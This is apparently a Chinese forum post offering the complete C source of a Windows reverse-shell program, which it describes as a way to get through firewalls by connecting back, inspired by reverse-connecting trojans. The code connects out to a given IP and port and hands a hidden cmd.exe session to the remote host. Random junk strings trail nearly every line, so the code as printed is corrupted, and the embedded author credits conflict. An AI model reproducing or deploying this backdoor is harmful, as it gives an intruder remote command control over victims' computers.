这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wqGZkFg1
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/* ============================== iqoPD4A
Rebound port in Windows NT Nl@Hx
By wind,2006/7 d ,QJf\fc"
===============================*/ VS).!;>z
#include XPEjMm'*b3
#include 56bB~=c
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#pragma comment(lib,"wsock32.lib") F'#3wCzt
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void OutputShell(); [#Yyw8V#<
SOCKET sClient; vl*RRoJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S,8zh/1y
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:
void main(int argc,char **argv) d=5D 9'+
{ Zh(f2urKV
WSADATA stWsaData; QHM39Eu]
int nRet; ./g0T{&
SOCKADDR_IN stSaiClient,stSaiServer; kv5Qxj}
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if(argc != 3) Qp=uiXs
{ s=q+3NTv
printf("Useage:\n\rRebound DestIP DestPort\n"); -xcz+pHQ
return; 1OGlD+f
} NfO0^^"
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2)8lJXM$L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !c&^b@
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stSaiClient.sin_family = AF_INET; U=yD!
stSaiClient.sin_port = htons(0); uo{QF5z]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =az$WRV+7!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,f1wN{P
{ eP2 y U
printf("Bind Socket Failed!\n"); {Y@[hoHtF
return; >'T%=50YH
} ;I7Z*'5!
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stSaiServer.sin_family = AF_INET; vn_avYwiy
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @!MbPS
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); foFn`?LF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wd]Yjr#%Ii
{ soohyK8
printf("Connect Error!"); @fK`l@K
return; 9BY b{<0tS
} UB1/FM4~
OutputShell(); W#wM PsB
} <h}?0NA4
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void OutputShell() TB[vpTC9)
{ f6"j-IW[z
char szBuff[1024]; ES~]rPVS
SECURITY_ATTRIBUTES stSecurityAttributes; }n=NHHtJ
OSVERSIONINFO stOsversionInfo; bk?\=4B:E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VO`A
STARTUPINFO stStartupInfo; ) )F.|w
char *szShell; O>Sbb2q?"
PROCESS_INFORMATION stProcessInformation; Kaa*;T![
unsigned long lBytesRead; =,'Z6?%p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lrE0)B5F
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z~|J"2.
stSecurityAttributes.lpSecurityDescriptor = 0; QE gv,J{
stSecurityAttributes.bInheritHandle = TRUE; b?$09,{0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3pp
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R3PhKdQ"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q.\>+4]1&&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s7e'9Bx
stStartupInfo.wShowWindow = SW_HIDE; 6)$_2G%Zq
stStartupInfo.hStdInput = hReadPipe; <H)@vW]_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {2x5
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GetVersionEx(&stOsversionInfo); hmH$_YP}
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switch(stOsversionInfo.dwPlatformId) _~kcr5
{ i/~J0qQ
case 1: P Cf|^X#B
szShell = "command.com"; wl%1B64
break; LJy'wl
default: =<05PB
szShell = "cmd.exe"; _:L*{=N
break; .T|NB8 rS
} xD=D *W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JdHc'WtS!|
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send(sClient,szMsg,77,0); !D3}5A1,
while(1) W!k6qTz)
{ }D^Gt)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #+;=ijyF
if(lBytesRead) taQ[>x7b
{ 6`C27
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7|-xM>L$A
send(sClient,szBuff,lBytesRead,0); $ZRN#x@
} >D<=9G(a
else fq|2E&&v
{ _&/Zab5
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; @nP}q!y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {Y[D!W2y
} 1aE/_
} q UnFEg
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return; ej;taKzj
}